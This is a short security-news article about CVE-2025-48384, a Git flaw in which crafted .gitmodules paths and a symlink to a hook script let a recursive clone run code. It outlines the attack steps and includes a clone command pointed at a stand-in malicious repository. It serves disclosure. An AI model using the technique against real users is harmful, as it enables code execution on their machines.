Site icon TheCyberThrone

CVE-2025-48384 affects Git Cli

Advertisements

Git, the widely-used version control system, has been found vulnerable to two high-severity security flaws that could allow attackers to achieve arbitrary file writes and potentially escalate to remote code execution (RCE). These flaws affect Git’s handling of submodules and bundle URIs and were responsibly disclosed in July 2025.

📌 CVE-2025-48384 – Arbitrary File Write via Malicious .gitmodules

🎯 Affected Platforms

⚠️ Vulnerability Description

This vulnerability abuses how Git processes .gitmodules files during a recursive clone. When a Git repository with submodules is cloned using --recursive, Git reads paths from .gitmodules to initialize submodules.

The issue arises from Git’s inconsistent handling of carriage return (CR) characters:

By combining this behavior with a symbolic link (symlink) pointing to a Git hook (e.g., .git/hooks/post-checkout), an attacker can overwrite hook scripts, which are executed during Git operations. This leads to arbitrary code execution on the victim’s machine.

💥 Exploit Scenario

  1. Attacker creates a malicious Git repo with a submodule containing a crafted path.
  2. Victim runs: git clone --recursive https://malicious-repo.git
  3. Malicious .gitmodules causes Git to overwrite a hook script.
  4. The hook gets executed, leading to remote code execution.

🛡️ Mitigations

Exit mobile version